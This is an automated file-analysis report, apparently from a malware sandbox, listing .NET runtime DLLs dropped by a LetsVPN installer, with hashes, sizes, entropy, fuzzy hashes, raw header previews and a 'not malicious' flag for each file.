MD5:	568128E2CB86C76BBCE49ED34A852BBA
SHA1:	CB5DDD10884E5E35F7EA2CD23E8D65014439F862
SHA-256:	A8A1E81410EF695FF2C19E0B50351194BEF701D4D58925FE385D93B574D71D61
SHA-512:	6CF324E6CE9E7F4FACBCD9D6E7F1DC6420729A93066717AC74B89658FF5AB776DB8F3EC0F9BCE19B5704B97A9804FCADC3F5207F998C7EE625ABFA5CDE0DAF23
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ....................................@..................................(..O....@..@................+...`......\'............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......`...#Strings....d.......#US.h.......#GUID...x.......#Blob......................3......................................................\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.9...K.Y...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Reflection.Primitives.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.844890578241113
Encrypted:	false
SSDEEP:	384:hMWzQWpKpwKANynsAw/98E9VF3AM+o6xaBD0pK:h5bAw/KENAMxZBp
MD5:	0433784AED4480A669D77359CCC95264
SHA1:	9D2D1D8D46D91F50943425EF63C5ABF3B5E58114
SHA-256:	8CDF9310D0123492FB10868E7DFEDEE6A0B06CEBB3422EE37524A8ADE5189584
SHA-512:	1E9E906EDB6C25F6BD2B0A6FA547AAC670E87968A5E9F5CA3EBF3B69EB848A93A179C27236FE00DD273CFA51CCC9EE1FA961451168DD0C6F71797CA2F3D7339E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............N... ...@....... ..............................?.....@..................................)..O....@..@................+...`.......(............................................... ............... ..H............text...T.... ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B................0......H.......P ......................D(......................................BSJB............v4.0.30319......l...L...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................................z.....N.....:.....b.................a...........0.....y...........K.....4...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.9...K.Y...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Reflection.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17384
Entropy (8bit):	6.782256539426495
Encrypted:	false
SSDEEP:	384:4xDHKWAMWpupwKANynsAw/98E9VF3AM+owMbRBI:gD8DAw/KENAMxFs
MD5:	1C210937C40D4634EC7F874BD8EA91C3
SHA1:	1D746471D766B47D705D31B0CCEBE44705290AD1
SHA-256:	D8C641FE5C8AB29C69469D37195089563FC06B4FBC40DA67F339A52A5DAEC20E
SHA-512:	A6523B98FBA30905B3BDED1E3BB587BE4F69DF34DDF5FA0CEF8DCE5A373C7692E3A6DBBE0F2BC6F52AFD5C9A372D4A448A56189ECDED690897A1431E46C3A4EF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............r,... ...@....... ...............................?....@................................. ,..O....@...................+...`...................................................... ............... ..H............text...x.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................T,......H.......P ......................h......................................BSJB............v4.0.30319......l...H...#~......D...#Strings............#US.........#GUID...........#Blob......................3................................"...............1.............{.................................Q.....j.......................n...................u.....u.....u...).u...1.u...9.u...A.u...I.u...Q.u...Y.u...a.u...i.u...q.u.......................#.....+.....3.....;.....C.....K.N...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.Reader.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.886994140718831
Encrypted:	false
SSDEEP:	384:5LNBEW6pWYypwKANynsAw/98E9VF3AM+oNHe:5bMTAw/KENAMxo
MD5:	76E713DE0ED54900C5DD1F375229244A
SHA1:	DF3A9931699EC7E1DE3B97AC1E0354ECF4B77C1F
SHA-256:	7B7C90DB456C001EC50B5468F15E9A894B50EED93030017E637018A703893976
SHA-512:	99EA7F703E8CFA879C34E0FD18537E9A65EF15341BE9D991E3C74A81344A5D7BC339745D8316D1990D8089ABBF3793B0D850331F45E37530DEA3164D2B60F7FF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ...................................@.................................D(..O....@...................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................x(......H.......P ..<....................&......................................BSJB............v4.0.30319......l...\|...#~......0...#Strings............#US.........#GUID...,.......#Blob......................3......................................z...............\.....0..... .....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.4...K.T...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.ResourceManager.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.935931811005859
Encrypted:	false
SSDEEP:	384:KKkHKW/tWIRpwKANynsAw/98E9VF3AM+otfxZT:fuAAw/KENAMxDZT
MD5:	C05DE26D79E40BF7C232044B0326F2E0
SHA1:	5B6354A529526221A76A4E6254CE0AAABA765FCB
SHA-256:	71DD37692CB13777254FC205896176B2429224A3C6BC6527F276FC99EE4D45B5
SHA-512:	DAE672387B6BF6CDA6557A5592B17931053BF0EE2C8273FFEED92175C91D40EF00DE5137EB91D6B78A850C1D7D58D564F065FFBDDADBF2F1BD925FC47184C07C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ..............................`2....@..................................(..O....@..`................+...`.......'............................................... ............... ..H............text...4.... ...................... ..`.rsrc...`....@......................@..@.reloc.......`......................@..B.................)......H.......P ......................$'......................................BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob......................3..................................................W.....W...R.D.........f.......................=.....V.....}...........q.........................>.....>.....>...).>...1.>...9.>...A.>...I.>...Q.>...Y.>...a.>...i.>...q.>.......................#.....+.....3.....;."...C.=...K.]...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.Writer.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.88642223241843
Encrypted:	false
SSDEEP:	384:OLnfIWqrWYQpwKANynsAw/98E9VF3AM+olAcvSo6:ODf4HAw/KENAMxacT6
MD5:	D74E5DA185EA81BAE3B3177E623DA777
SHA1:	8E845113C508CF00068FCA01EAB29D8662839D38
SHA-256:	BC6BE669D9A0720C084B9B1F2853D9A811BD44805ED13CB452461B5A1EFD9232
SHA-512:	33FC1A6476C263F232CF1EE48142E2632E6ECCD90967D48901AA2971072839688DAABA34017B1EEA38968BB18E099AA927E9B9FF4636A353514EEBC83BAC37D3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ..............................M-....@.................................D(..O....@...................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................x(......H.......P ..<....................&......................................BSJB............v4.0.30319......l...\|...#~......0...#Strings............#US.........#GUID...,.......#Blob......................3......................................z...............\.....0..... .....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.4...K.T...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.CompilerServices.Unsafe.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	19944
Entropy (8bit):	6.654786792740954
Encrypted:	false
SSDEEP:	384:dybU8ndrbbT9NWB2WaxpwKANynsAw/98E9VF3AM+oOvBYuJ:dy5ndvWRAw/KENAMxLuJ
MD5:	06E9C4E6C56DDE71D95ABC8389240876
SHA1:	565322AD5DD23CB4A9D0A3C8731CC56B211576C4
SHA-256:	8566100401AF8CDC80A2419478743FB630871120BB384A9BA957FDBF880C37DE
SHA-512:	809EAEA96F4E4B19E4D019FC34893A035EFCA292683BD1D240CB8578482A0B88503D25B89C9038609C24D83BB79D9E2E62B8AA58C8A0372FD793ED9AC5C7F8C8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Ksa...........!.................6... ...@....@.. ....................................@..................................6..K....@..............."...+...`.......$............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`....... ..............@..B.................6......H.......D%..<...................P ......................................_...+.'g.......x2..}}...B.O....T...e..?.M..R"M.~pg..c..LD#..y.....y....:u.v...#.;.-.h.......0..#.....a5\|T%W...].!.%'..9.0...........q......0..............q.......0..............q.......0..................0......................0......................0............q.............0............q.............0..............0..............0..................0...............*...0..............

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.CompilerServices.VisualC.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.868057632335088
Encrypted:	false
SSDEEP:	384:Zna8WK1WG8pwKANynsAw/98E9VF3AM+o1lD2:Zna03Aw/KENAMxu
MD5:	C5B5C96191D977A1506E6EED417B2BA7
SHA1:	B0D2C139B061FE456E3067B9142633F12D1074D1
SHA-256:	AB23FDFF57D74A92B849E9864D2562A22D76B6DD58F080A64D3AE60EA20E83A7
SHA-512:	66B90D7DF871D4D4021E3D98AD63B908F7BA7E832E226BDDDCB651F7DA08DD55F885E23E33B8004F62C54276227F8CB39D9A65071D380A83051037E199B31C31
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............j... ...@....... ..............................M.....@....................................O....@...................+...`.......(............................................... ............... ..H............text...p.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................L*......H.......P ......................`(......................................BSJB............v4.0.30319......l...@...#~......0...#Strings............#US.........#GUID....... ...#Blob......................3................................................w.................!...........<.....Y.............................................................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.)...C.D...K.d...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Extensions.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.823469381591017
Encrypted:	false
SSDEEP:	384:dBSWITWnhpwKANynsAw/98E9VF3AM+ot9vc0RZTz:d6dAw/KENAMxvvc0f3
MD5:	A284A89FF3110628BA61099B736A4F39
SHA1:	587822D8D69217DF8696A30D9843B088FAEFDCE3
SHA-256:	E07C749A7CD59B4FF24222D398D6665E287D7ADDDF55B014171594447F9702B6
SHA-512:	6DDA50625305FC5CA7652CCE9B8289C6BB70DD247184E9A94BBA75A961974A2D11F2C185205CCB749E2BC0882E519CDAC2DC3F801428C197F0530148AD484501
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0................. ...@....... ...................................@..................................)..O....@.. ................+...`.......(............................................... ............... ..H............text...$.... ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.......................H.......P .......................(......................................BSJB............v4.0.30319......l...@...#~..........#Strings............#US.........#GUID...........#Blob......................3..................................................\|.....\|...S.i.........g.................f...........5.....~...........P.....9...................c.....c.....c...).c...1.c...9.c...A.c...I.c...Q.c...Y.c...a.c...i.c...q.c.......................#.....+.....3.....;.....C.6...K.V...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Handles.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.930234953706258
Encrypted:	false
SSDEEP:	384:088cIIWNoWAspwKANynsAw/98E9VF3AM+oJT3Z75:09cU4Aw/KENAMxF37
MD5:	C7119DFF7591888B03743BFD794229DC
SHA1:	D69160FF471741C137C2063B612516AEDFFCF133
SHA-256:	50AC07AE9F23E50F8227A995C2970C390EA12AAC322D7E664D57FE333663DA09
SHA-512:	C1E030FEED2B333BE712ADAEBF0F0B89C94D86354FD8F860E094EFBA5050FC4CDCA673CB190F0469FC45A65B41895F4EF4BAFD2FFD00A5DFCA7C7F710C69EE1C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............V)... ...@....... ...................................@..................................)..O....@...................+...`.......'............................................... ............... ..H............text...\.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................8)......H.......P ......................L'......................................BSJB............v4.0.30319......l.......#~.. .......#Strings............#US.........#GUID...........#Blob......................3..........................................................c.....J.....w.................v.....,.....E.................`.....I...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.3...K.S...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.InteropServices.RuntimeInformation.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23528
Entropy (8bit):	6.670521169818004
Encrypted:	false
SSDEEP:	384:okUwx9rm5go1fWKmmW6oqN5eWjaW2CpwKANynsAw/98E9VF3AM+ogIUSXp6D6:3rmoFmWdO6Aw/KENAMxRUiM2
MD5:	E1CDBA24AA0C7A72986136F32B7A8D1F
SHA1:	053D2CDD91BE05B179F9EEC927AE0CB91206F5F2
SHA-256:	914F5E3AD9A6CF8D0ECDE9B3BD10D89B302F36DA61E6D10696234EA51CEF34B1
SHA-512:	46DE959261A0F990BF8D4EC5E6F5A7D05BB53CA3C7119C482D837DD46ADAEDF78806CDE4F6EAEED24E91EFD2E77FFEDC2050B85B998C99876CEBDFEFDECEF42C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..&...........E... ...`....... ..............................1o....@.................................PE..O....`..x............0...+...........D............................................... ............... ..H............text....%... ...&.................. ..`.rsrc...x....`.......(..............@..@.reloc..............................@..B.................E......H........$...............A.......C......................................j~....%-.&(....s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(....2r/..p.(..........(....2(.....(....^~....-.(.........~.....0..........~..........(.........(....-Y..(!....{/......5..,

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.InteropServices.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	19432
Entropy (8bit):	6.7377047539245725
Encrypted:	false
SSDEEP:	384:I09bOAghbsDCyVnVc3p/i2fBVlAO/BRU+psbC984vmJHrE1dtx66aI2sU52RWVsU:BOAghbsDCyVnVc3p/i2fBVlAO/BRU+py
MD5:	13D650992AF14213B9565D416057012A
SHA1:	CE3D1DEB715263125749A43E9A347518550297FF
SHA-256:	CBF3D7B658B37C258380A5BEAB2669314B68462B5B2F45F36E9F065BF521A69A
SHA-512:	4673F59C59BBB8B71B3EEAD3CCDE700AC20AAA5B17AB007355A8536CAB000A5555D2E3736CF5CABDDDB2FE34688096DA2F5F7E0A3469E553A79BB95AE85FCC84
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............r5... ...@....... ...............................K....@................................. 5..O....@..P............ ...+...`.......3............................................... ............... ..H............text...x.... ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B................T5......H.......P ......................h3......................................BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob......................3................................r.....................e...........4.................3.....L...................................R...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;. ...C.;...K.[...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Numerics.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.88873036151209
Encrypted:	false
SSDEEP:	384:o7W6RWXGpwKANynsAw/98E9VF3AM+oLl1J:o5YAw/KENAMxnJ
MD5:	9308174B4258B8ACE653B81D24EA4BF2
SHA1:	21D5227DD3B9AC27C19C46CF2E7EF6039034CDCC
SHA-256:	0BD6B33FA49515EC6B2F416BCAD46DD8C59270EDB587FDD2F4140AB7F4D17D88
SHA-512:	8ED40209B4F45F8B307C13CBFD82786109E8BFF62190CD1C20ACB23B1FA00FC9818F8EDDC906C7D4F218AFBFB29792DBF71179BF878B7F8254B6165CC302817A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............(... ...@....... ....................................@.................................T(..O....@...................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P ..L....................&......................................BSJB............v4.0.30319......l.......#~......4...#Strings....(.......#US.,.......#GUID...<.......#Blob......................3......................................z...............\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.4...K.T...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Formatters.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.972036771580835
Encrypted:	false
SSDEEP:	384:yI5HeWFwTBsWnypwKANynsAw/98E9VF3AM+owYqbnV/:yI5HFwTBZAw/KENAMxPqx
MD5:	ED3DBEBBDACB64C5D09444DF8D4A7DF7
SHA1:	B57B7BBF172721EAAB1EF5544E68415B3E0E393E
SHA-256:	BE631EFF0AEE6E39110438EEFEB35F35D4F38032DAA0EC430D106C25566833A7
SHA-512:	AA9D6209B3DAA4C0052ABFDE62B42F7525853F2917287229728F386BA2D69D70D01E794AED82B95E5CD27FD007DA9D74344776403E9C869C4F2B79B323D8EFDA
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ....................................@.................................\|)..O....@...................+...`......D(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P ..t....................'......................................BSJB............v4.0.30319......l.......#~..H.......#Strings....@.......#US.D.......#GUID...T... ...#Blob......................3............................................................U.x...........................~.....4.....M.................h.....$...................r.....r.....r...).r...1.r...9.r...A.r...I.r...Q.r...Y.r...a.r...i.r...q.r.......................#.....+.....3.....;.)...C.D...K.d...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Json.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.940117915440905
Encrypted:	false
SSDEEP:	384:fAJpVWbfkBnW4CpwKANynsAw/98E9VF3AM+oyMsBS:fAJpWfkBlAw/KENAMxbd
MD5:	E5D4C28265C4C251175A19ED9813BDF3
SHA1:	209973EC30608A69178C1DF5EB9F99FFBA8F1246
SHA-256:	360C12A381B1E12D4F46E127BE706B6A503233933B1C485B9BFE2684F19678A3
SHA-512:	591FAC416565BC724F7BE43AAD3FBE5B2AA338E7A28AA47675FEFD14267467FA95E0C7B690B2064836DA4CBF32A0A3D1824491BA16110C5091541D8F3BFF1B82
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............>)... ...@....... ....................................@..................................(..O....@..`................+...`.......'............................................... ............... ..H............text...D.... ...................... ..`.rsrc...`....@......................@..@.reloc.......`......................@..B................ )......H.......P ......................4'......................................BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob......................3......................................z...........@...\.@...0.-...`.....D.................C.................[.....x.....-.........................'.....'.....'...).'...1.'...9.'...A.'...I.'...Q.'...Y.'...a.'...i.'...q.'.......................#.....+.....3.....;.#...C.>...K.^...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Primitives.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21992
Entropy (8bit):	6.600904799477403
Encrypted:	false
SSDEEP:	384:d8R71h7yzt94dHWFgQBVWeHWFyTBVWHApwKANynsAw/98E9VF3AM+o5NgJbSTTt:81dyAqgQBfqyTBeAw/KENAMx5mYvt
MD5:	0AAFD15B62DAF8E1CC9A828D6E005D20
SHA1:	83E8AB9DA757632AEA51D8FCCB1F6037C75CDA5D
SHA-256:	ABF28DDF5BA35DA1FE953DE121B919D7A2F9DDE53D3ECECDFFFFF2021F2B3A88
SHA-512:	76E0A83A59C8DB51891482906FC5FEA74ED0C727AEA102FBC2866D78D426B3F29CA3DA21A286AB59B784B155D1199F5FAA4A98718515D15CCC83D9FE28E5860D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............8... ...@....... ....................................@..................................8..O....@..8...............+...`.......7............................................... ............... ..H............text........ ...................... ..`.rsrc...8....@......................@..@.reloc.......`.......(..............@..B.................8......H.......\|!..l............1..p...X7......................................j~....%-.&(....s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(..........(......BSJB............v4.0.30319......l.......#~..h.......#Strings....\...4...#US.........#GUID...........#Blob...

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Xml.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	19944
Entropy (8bit):	6.74011046147318
Encrypted:	false
SSDEEP:	384:ypsBljcZQIVI8CNwbcyMWs4oBOW9MWG4tBOW2KpwKANynsAw/98E9VF3AM+owimK:4sPMQMI8COYyi4oBNw4tBqAw/KENAMxx
MD5:	CBDC17202266F634C5069B562B6CB5A0
SHA1:	F32B73EF640CA7F068ECB3A147738CFE9F970C0D
SHA-256:	E0DB073C07CFAB4A29006A5C1874994B38E87E4C93233B3691BAD8839B379079
SHA-512:	E64CBA608FA5B3FA88ECD42ACB3C817003FAF2DDBD97E6D3A974655C240F8AFB0ADAF37EC597E4F1C0006F4F0F74DD8B1DE268207777303064E64E4CD4D85F6D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............3... ...@....... ...............................l....@..................................3..O....@..............."...+...`.......2............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`....... ..............@..B.................3......H........!..0...................L2.......................................s......s......0...........o....u......,..o......0..%........s..........(....r...p.$o......o....:.(......}......{.....(....z.(....z6.{.....o....:.{......o.....(....z:.{......o.....(....z.(....z.BSJB............v4.0.30319......l.......#~.. .......#Strings....$...0...#US.T.......#GUID...d.......#Blob...........W..........3............................................................................

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24552
Entropy (8bit):	6.391407248385007
Encrypted:	false
SSDEEP:	384:2bhigwLAuZtM66g/Id7WVXWl9pwKANynsAw/98E9VF3AM+oVu46/VmeY:2bhzkKsDAw/KENAMx7UY
MD5:	F5316D5E6D212490397ED265B4AA0F37
SHA1:	CD3A01E05984CE99FEB33338AAB2FC1F76DD44CD
SHA-256:	260209A9CAC746A4DA6DF7FF5950E6782919D025970C23B4A69D194859F28EB8
SHA-512:	67F1B218AE0BC9B40C500B16C9D1CEC5CD14242E2EDC9F88A4DDE2658D40A5F59B98943869813103B0733070E9DD92ECB484399F2C1BD34F93A31AAE949BB8EB
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0............"H... ...`....... ..............................`h....@..................................G..O....`...............4...+...........F............................................... ............... ..H............text...((... ..................... ..`.rsrc........`.......,..............@..@.reloc...............2..............@..B.................H......H.......P ...%...................F......................................BSJB............v4.0.30319......l.......#~..........#Strings.....#......#US..#......#GUID....#......#Blob......................3................................................_.........................8.....8....8.....8.....8.....8.....8.....8..........8.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.+...K.K...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.AccessControl.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	37864
Entropy (8bit):	6.113294034752602
Encrypted:	false
SSDEEP:	384:zPlIF91FhktexyvaMAdB+w3G5h9MF4YfzMfpcrqmf9wEJqIxVRvFNgfBkyN17xWM:blM7Ke5/WBkyN1h2Aw/KENAMxeQF/GH
MD5:	B908CD7ACACF57942271E00070A1FA7D
SHA1:	6E870A4E00BF32E226028CA6E2A8DFA94F2FB46E
SHA-256:	B830A073904321782C11AB5E3DB261D9E3BA2BE5F880C1D8CCF2A79248AF9729
SHA-512:	5CC65866475BB48524265BDDC4EBAEDF7DB9265A214762D7F554882B54BD2560009BA67D49E2F9ACC13FB8FB1ECEE29497F11EA5F8F79B87B8CA3F20616E58C8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..Z...........x... ........... ...............................x....`..................................x..O....................h...+...........w..T............................................ ............... ..H............text....X... ...Z.................. ..`.rsrc................\..............@..@.reloc...............f..............@..B.................x......H........%..p5..........P[.......w.......................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(.....(....,"r...p......%...%...%...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Claims.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.91934807837682
Encrypted:	false
SSDEEP:	384:VUcX6W9aWetpwKANynsAw/98E9VF3AM+okHcXJPUP:VUchZAw/KENAMxHXqP
MD5:	AAB19A69B3EDF4A652C591EF9FD7DB28
SHA1:	D7A0FC149457C5D763E5509C4FA284719230BABB
SHA-256:	BFD61CFA99C7AAE0861004F4D0F57FC412A29F6407C9841DA2AC63040C8F25FD
SHA-512:	B7921502E28EFD55085835BF63B5EA9AD59DE7366B41B251682D023A020421B0F8E0D1342E4A46F2B7B208D3EBE16B3001376B8EA1F88301B8BEF686B54E745A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............B)... ...@....... ..............................K.....@..................................(..O....@...................+...`.......'............................................... ............... ..H............text...H.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................$)......H.......P ......................8'......................................BSJB............v4.0.30319......l.......#~..<.......#Strings............#US.........#GUID...........#Blob......................3......................................................\.....0.....(.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.3...K.S...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Algorithms.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	41960
Entropy (8bit):	6.008639993845578
Encrypted:	false
SSDEEP:	768:SoBj7kS+8mjvHTeaWKs0Sd4eedAw/KENAMxj:BPmb9WKs0PeedAwrxj
MD5:	A45146CB7A8CE3C028ED19213E3B567E
SHA1:	65C17BC3941EE34E8062911AABBEC98379262CE0
SHA-256:	F738F16DFACBF64EF667BDEFEA5EA4D80119DD673690BFB73D10E170364E709B
